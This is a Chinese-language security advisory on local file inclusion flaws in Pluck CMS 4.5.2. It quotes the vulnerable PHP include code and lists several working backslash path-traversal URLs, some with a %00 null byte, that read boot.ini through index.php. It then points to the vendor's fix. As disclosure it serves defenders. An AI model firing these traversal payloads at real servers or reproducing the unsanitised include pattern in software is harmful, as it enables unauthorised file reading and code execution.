安全研究

安全漏洞
Pluck CMS多个本地文件包含漏洞

发布日期:2008-08-25
更新日期:2008-08-26

受影响系统:
somp Pluck CMS 4.5.2
不受影响系统:
somp Pluck CMS 4.5.3
描述:
BUGTRAQ  ID: 30820

pluck是用php编写的简单内容管理系统。

远程攻击者可以利用pluck的predefined_variables.php和blog_include_react.php脚本中的文件包含漏洞执行任意代码。

1. data/inc/themes/predefined_variables.php脚本中的本地文件包含

有漏洞的GET参数为blogpost、cat和file。

15-46行
-----------------
#################################################

//Make sure the file isn't accessed directly
if((!ereg("index.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("admin.php", \
$_SERVER['SCRIPT_FILENAME'])) && (!ereg("install.php", $_SERVER['SCRIPT_FILENAME'])) \
&& (!ereg("login.php", $_SERVER['SCRIPT_FILENAME']))){  //Give out an "access denied" \
error  echo "access denied";
    //Block all other code
    exit();
}

//Include Translation data
include ("data/settings/langpref.php");
include ("data/inc/lang/$langpref");
//Get Site-title
$sitetitle = file_get_contents("data/settings/title.dat");

//Get the page-data
$filetoread = $_GET['file'];
$album = $_GET['album'];
$blogpost = $_GET['blogpost'];
$cat = $_GET['cat'];

if (($filetoread) && (file_exists("data/content/$filetoread"))) {
include "data/content/$filetoread"; }

elseif ($album) {
$title = $album; }

elseif (($blogpost) && (file_exists("data/blog/$cat/posts/$blogpost"))) {
include("data/blog/$cat/posts/$blogpost"); }

elseif ((!file_exists("data/content/$filetoread")) && (!$album) && (!$blogpost)) {
$title = $lang_front1;
$content = $lang_front2; }

#################################################

2. data/inc/blog_include_react.php脚本中的本地文件包含

有漏洞的GET参数为blogpost和cat。

15-30行
-----------------
#################################################

//Make sure the file isn't accessed directly
if((!ereg("index.php", $_SERVER['SCRIPT_FILENAME'])) && (!ereg("admin.php", \
$_SERVER['SCRIPT_FILENAME'])) && (!ereg("install.php", $_SERVER['SCRIPT_FILENAME'])) \
&& (!ereg("login.php", $_SERVER['SCRIPT_FILENAME']))){  //Give out an "access denied" \
error  echo "access denied";
    //Block all other code
    exit();
}

//Predefined variable
$blogpost = $_GET['blogpost'];
$cat = $_GET['cat'];
$pageback = $_GET['pageback'];
list($reactiondir, $extension) = explode(".", $blogpost);

//Include the blogpost
include("data/blog/$cat/posts/$blogpost");

#################################################

攻击者可以从index.php文件利用这个漏洞。

仅在接受反斜杠路径分隔符的系统上才可以利用这些漏洞。

<*来源:Digital Security Research Group
  
  链接:http://marc.info/?l=bugtraq&m=121968381622040&w=2
        http://secunia.com/advisories/31607/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://[server]/[installdir]/index.php?file=..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini
http://[server]/[installdir]/index.php?blogpost=..\..\..\..\..\..\..\..\..\..\..\\..\..\boot.ini
http://[server]/[installdir]/index.php?blogpost=DSecRG&cat=..\..\..\..\\..\..\..\..\..\..\..\..\..\boot.ini%00
http://[server]/[installdir]/index.php?blogpost=..\..\..\..\..\..\..\..\..\..\..\..\..\\boot.ini
http://[server]/[installdir]/index.php?blogpost=DSecRG&cat=..\..\..\..\..\..\\..\..\..\..\..\..\..\boot.ini%00

建议:
厂商补丁:

somp
----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.pluck-cms.org/downloads/download.php?file=7

浏览次数:2443
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障